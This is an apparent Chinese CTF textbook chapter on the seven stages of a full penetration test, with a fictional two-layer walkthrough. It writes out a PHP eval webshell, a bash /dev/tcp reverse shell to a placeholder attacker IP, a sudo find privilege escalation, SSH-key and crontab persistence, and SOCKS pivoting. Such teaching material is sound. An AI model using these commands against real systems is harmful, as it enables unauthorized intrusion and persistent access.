渗透流程总览

前面的章节——SQL 注入、文件上传、RCE——教的都是"单点"功夫:找到一个漏洞,打进去,拿 flag。但近几年的比赛(尤其是实体赛、AWD 预赛中的渗透题)越来越多地考察"链路":入口 Web 打一个点,拿到一台跳板机,再借它打进内网,最终摸到藏 flag 的那台主机。

单点功夫是零件,渗透流程是图纸。这一章不讲任何新漏洞,只做一件事:把一次完整渗透的阶段划分讲清楚,并告诉你每个阶段对应本书的哪一章。读完你应该能在脑子里装下一张全局地图,之后学「立足点建立」「内网信息收集」「代理与隧道」「横向移动」这些章节时,知道自己在地图上的哪个位置。

七个阶段

一次完整的渗透(无论是真实授权测试还是 CTF 多层渗透题)可以划分为七个阶段:

信息收集 → 打点 → 立足点建立 → 权限维持 → 内网信息收集 → 横向移动 → 目标达成

真实渗透里这些阶段会有反复和交织(比如每拿下一台新机器都要重新做一遍信息收集),但作为学习模型,这条主线足够清晰。下面逐个阶段说。

阶段一:信息收集

做什么:在不触碰目标防御的前提下,尽可能多地了解目标——域名、IP、端口、服务、指纹、目录、泄露的凭据。

在 CTF 里,这一阶段通常被简化成几件事:

# 端口与服务扫描
nmap -sV -p- 10.10.10.10

# Web 目录扫描
dirsearch -u http://10.10.10.10/

# 查看页面源码、robots.txt、.git 泄露等
curl http://10.10.10.10/robots.txt

对应本书章节:

  • 「敏感信息泄露」:源码注释、备份文件(.bak / .swp)、.git / .svn 泄露、phpinfo 等,这是 CTF 信息收集的重头;
  • 「Web入门题单」里的前几题,本质上就是在训练"看源码、看响应头、看 robots"这一层意识;
  • 真实的子域名收集、指纹识别等技巧,见「信息收集」一章。

CTF 提示:渗透题的外网入口机, flag 或下一步线索经常就藏在"信息收集做得够不够细"里——端口扫全了吗?目录扫出备份文件了吗?做题卡住时先回头补信息收集。

阶段二:打点(初始访问)

做什么:利用一个漏洞,在目标上获得最初的代码执行能力——通常表现为一个 webshell 或一条反弹 shell。

这一阶段就是本书前面所有"单点"章节的主场:

  • 注入类:「SQL注入」「SSTI注入」「XXE注入」「SSRF注入」;
  • 文件类:「文件上传」「文件包含」「目录穿越」「任意文件读取」;
  • 执行类:「RCE」,以及通往 RCE 的「PHP反序列化」「PHP特性与常见绕过」;
  • 组合类:「逻辑漏洞」常常用来拿到管理员权限,再配合后台的上传/模板功能 getshell。

打点的产出物只有一个标准:你能不能在这台机器上执行命令。拿到 <?php @eval($_POST['cmd']);?> 能写入的入口,或者让目标 bash -i >& /dev/tcp/你的IP/端口 0>&1 弹回来,本阶段就结束了。

阶段三:立足点建立

做什么:把"能执行命令"升级成"稳定、好用的据点"。一次性 RCE 很脆弱——流量大点 webshell 可能被查杀,反弹 shell 可能掉线。立足点建立要解决的问题是:拥有一台随时回得来的跳板机。

典型动作:

  • 把临时的 webshell 换成更隐蔽的内存马 / 不死马;
  • 建立稳定的反弹 shell(用 nc / socat 监听,必要时加 crontab 定时回连);
  • python3 -c 'import pty;pty.spawn("/bin/bash")' 把哑 shell 升级成交互式 TTY;
  • 摸清这台机器的网络位置:ip a 看有几张网卡、能通哪些网段——这决定了它能不能当内网跳板。

详见本书「立足点建立」一章。在 CTF 多层渗透题里,"入口机有一张通往内网的第二张网卡"几乎是定律,看到 eth1 上的 172.x / 192.168.x 地址,就该意识到:后面还有戏。

阶段四:权限维持

做什么:让立足点经得起重启、改密码、杀进程——真实渗透里这可能是后门账户、计划任务、服务劫持;CTF 里这一层被大幅简化,但有几个固定考点:

  • 写 SSH 公钥到 /root/.ssh/authorized_keys(前提是先提权到 root);
  • crontab 定时任务回连;
  • SUID 提权(find / -perm -4000 2>/dev/null)、sudo 配置缺陷、内核漏洞——严格说提权是独立话题,但在流程上它常和权限维持绑在一起:先拿到 root,再谈维持。

CTF 提示:在 AWD 赛制里权限维持极其关键——别人拿到你修好的机器还想再打,就靠你留下的后门;而在多层渗透题里,权限维持通常只需"别把 shell 弄丢了"这个程度。

阶段五:内网信息收集

做什么:站在跳板机上,摸清内网里还有什么——存活主机、开放端口、域结构、票据与凭据。

与外网信息收集的不同点在于:你现在是在"里面"看,工具往往要代理进去,而且内网常见的服务(445/3389/数据库/域控)在外网根本看不到。最小动作:

# 跳板机自身的网络信息
ip a && ip route && cat /etc/hosts

# 用跳板机扫内网存活主机(没有 nmap 时的一行 ping 扫)
for i in $(seq 1 254); do ping -c1 -W1 192.168.1.$i | grep "from" ; done

详见本书「内网信息收集」一章。这一阶段的质量直接决定横向移动阶段有没有目标可打——扫漏了一台机器,可能就把藏 flag 的主机漏了。

阶段六:横向移动

做什么:从内网的一台机器移动到另一台,不断逼近最终目标。横向移动有两条腿:

  1. 通路:内网机器你从本机根本够不到,必须把流量送进内网——这就是「代理与隧道」一章的内容:frp / ew / reGeorg / SSH 动态转发(ssh -D),配 proxychains 让本机工具"穿"进去;
  2. 凭据/漏洞:有了通路,还要有打下一台机器的手段——翻出来的密码复用、抓到的票据、内网服务的新漏洞(内网的 Web 后台、Redis 未授权、SMB 缺陷……),具体手法见「横向移动」一章。
# 最朴素的通路:SSH 动态转发,把本机 1080 变成进内网的 SOCKS5 代理
ssh -D 1080 user@跳板机IP

# 之后本机的工具挂上 proxychains 即可打内网
proxychains curl http://192.168.1.20/

CTF 提示:两层渗透题的标准节奏就是"外网 Web 打点 → 立足点 → 挂代理 → 内网再打一次点",横向移动有时只是"再打一遍前面学过的单点功夫",只不过这次隔着代理。

阶段七:目标达成

做什么:拿到预先定义的目标。真实渗透里目标是约定的(拿到域控、拿到某份数据);CTF 里目标永远只有一个——flag{...}

需要强调的是,渗透题的 flag 不一定在最后一台机器的 /flag 里躺着:可能在数据库的一张表里、在某个用户的桌面文件里、在域控的共享目录里。目标达成阶段拼的其实是前面每个阶段的完成度:信息收集没漏、立足点够稳、内网扫得全,flag 自然会出现。

CTF 渗透题与真实渗透的差异

流程是一样的,但两者的"参数"差别很大,认清差异能帮你做题时不走弯路:

维度 真实渗透 CTF 渗透题
授权与范围 严格限定,越界即违规 整个靶场都是你的,随便打
防御对抗 EDR、杀软、流量审计、蓝队 基本没有,顶多一层 WAF
时间尺度 数周到数月,权限维持是刚需 数小时,"shell 别掉"就够了
环境整洁度 杂乱,90% 的信息是噪音 精心布置,几乎每条线索都有用
漏洞特征 靠经验在攻击面里找洞 洞是出题人留的,必有唯一通路
目标 约定的业务目标 flag{...}

对做题最有指导意义的是中间两条:CTF 渗透题里没有无用信息,也没有死路。端口扫描多出来的那个端口、源码里多出来的那个注释、跳板机上翻到的那串密码,全都是铺路石。卡住时的标准动作是回到流程上游:信息收集是不是没做全?立足点是不是漏看了某张网卡?

一道典型例题:两层渗透的完整链路

下面用一道虚构但极具代表性的 CTF 两层渗透题,把七个阶段走一遍。题目只给你一个入口:http://10.0.0.10/

① 信息收集。扫端口发现只有 80,扫目录发现 /backup.zip,解压得到一份 PHP 源码——「敏感信息泄露」章节的标准开局。

② 打点。审计源码(「PHP代码审计」的方法)发现登录处存在 SQL 注入,但不出数据;继续审发现后台有文件上传点且校验可被绕过(「文件上传」的思路)。用 SQL 注入拿到管理员哈希、破解登录后台,上传图片马配合文件包含 getshell——「文件包含」登场。

③ 立足点建立。webshell 不稳定,执行:

# 攻击机监听
nc -lvnp 4444

# 目标上执行(通过 webshell)
bash -i >& /dev/tcp/你的IP/4444 0>&1

拿到反弹 shell 后 ip a 发现第二张网卡 eth1: 192.168.10.5——内网入口确认。

④ 权限维持。顺手翻 /var/www/html/config.php 拿到数据库口令,发现该口令也是 www-data 用户的 SSH 密码;登录后 sudo -l 发现 sudo (ALL) NOPASSWD: /usr/bin/find,用 sudo find . -exec /bin/sh \; -quit \; 提权到 root,写入自己的 SSH 公钥。就算 webshell 被删,SSH 也回得来。

⑤ 内网信息收集。在跳板机上用前面那行 ping 循环扫出存活主机 192.168.10.20

⑥ 横向移动。架通路:

# 攻击机上,经跳板机建 SOCKS5 代理
ssh -D 1080 user@10.0.0.10

挂上 proxychains 访问 http://192.168.10.20/,发现是一台跑老版本应用的 Web 服务器——回到「RCE」章节的手法再打一次点,拿下第二台机器。

⑦ 目标达成。在 192.168.10.20/root/flag.txt 读到 flag{y0u_g0t_the_ch4in}

注意这道题的每一步都没有超出本书已讲过的内容,链路题的难度不在深度而在组合——这就是本章这张地图存在的意义。

全局地图

最后用一张文字版地图收尾,之后每学一章,回来对一下位置:

                    ┌─────────────────────────────────────────┐
                    │              一次完整渗透                │
                    └─────────────────────────────────────────┘

  ① 信息收集 ────── 端口 / 目录 / 指纹 / 泄露
        │            对应:敏感信息泄露 · Web入门题单 · 信息收集
  ② 打点 ───────── 利用漏洞获得最初代码执行
        │            对应:SQL注入 · SSTI · XXE · SSRF · 文件上传
        │                  文件包含 · 任意文件读取 · RCE · PHP专题
  ③ 立足点建立 ──── webshell → 稳定反弹 shell → 交互 TTY → 摸清网卡
        │            对应:立足点建立
  ④ 权限维持 ────── 提权到 root + SSH 公钥 / crontab / 后门账户
        │            (AWD 中尤为关键)
  ⑤ 内网信息收集 ── 存活主机 / 内网端口 / 凭据翻找
        │            对应:内网信息收集
  ⑥ 横向移动 ────── 通路(代理与隧道) + 手段(凭据复用 / 内网漏洞)
        │            对应:代理与隧道 · 横向移动
  ⑦ 目标达成 ────── 在正确的机器、正确的位置找到 flag{...}

  全局心法:每拿下一台新机器,就回到 ① 重来一遍;
            CTF 渗透题里没有无用信息,卡住就往上游补。

地图装好,接下来按顺序去读「立足点建立」,把链路的第一环做实。

评论